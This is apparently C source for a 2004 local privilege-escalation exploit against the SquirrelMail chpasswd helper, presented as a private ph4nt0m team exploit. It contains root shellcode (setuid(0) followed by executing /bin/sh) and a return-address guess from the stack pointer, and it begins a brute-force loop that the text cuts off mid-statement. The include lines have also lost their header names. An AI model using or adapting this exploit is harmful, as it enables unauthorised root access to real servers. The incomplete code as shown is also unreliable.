/*

** PST_chpasswd_exp-v_b.c:
** 
** Squirrelmail chpasswd local root bruteforce exploit
** Author: 
** Bytes || 
** www ph4nt0m net
** Notice:
** v_b: Local bruteforce version
** v_R: remote bruteforce version
**
** 
** Greatze: #ph4nt0m,#music@0x557
** All PST member,Grip2,Airsupply,Jambalaya,Ann,Paul,Happy...
** Thax: My GF(Luz),Oyxin,Winewind,Envymask,Eong,luoluo,GoGo(f0r ever)...
**
**
** -=-=-=-=-=-=-=-=-=-= !!![+PH4NT0M TEAM PRIVATE EXPLOIT+]!!! =-=-=-=-=-=-=-=-=-=-
** 
** Date: 2004-04 # DO NOT DISTRIBUTE # 
**
** You Must get account belong to Webmaster ,www or other webserver groups. 
** 
*/

#include 
#include 
#include 
#include 

#define NOP 0x90
#define Fuckpr0 "./chpasswd" /* you need modify it by yourself */
#define LOOP 2000 /* loop of bruteforce */

/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */

char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

unsigned long get_esp() {

__asm__ ("movl %esp,%eax");

}

void *M_malloc(size_t size){

register void *value;

value = malloc(size);

if(value == NULL){

printf("ERROR:virtual memory exhausted...\n");

exit(-1);

}

return value;

} 

int main(void){

unsigned long ret_addr;

int i,j=0,offset=2,status;

char *buf1,*buf2;

pid_t pid;

ret_addr = get_esp() - strlen(Fuckpr0) - strlen(shellcode);

printf("\t-------------------------------------------------------\n");
printf("\t Squirrelmail chpasswd local root bruteforce exploit \n");
printf("\t code By Bytes 2004 \n");
printf("\t http://www.ph4nt0m.net \n");
printf("\t#######################################################\n");


sleep(1);

printf("[+] Bruteforce......\n\n");

sleep(2);

buf1 = (char *)M_malloc(150);

buf2 = (char *)M_malloc(600);

while(j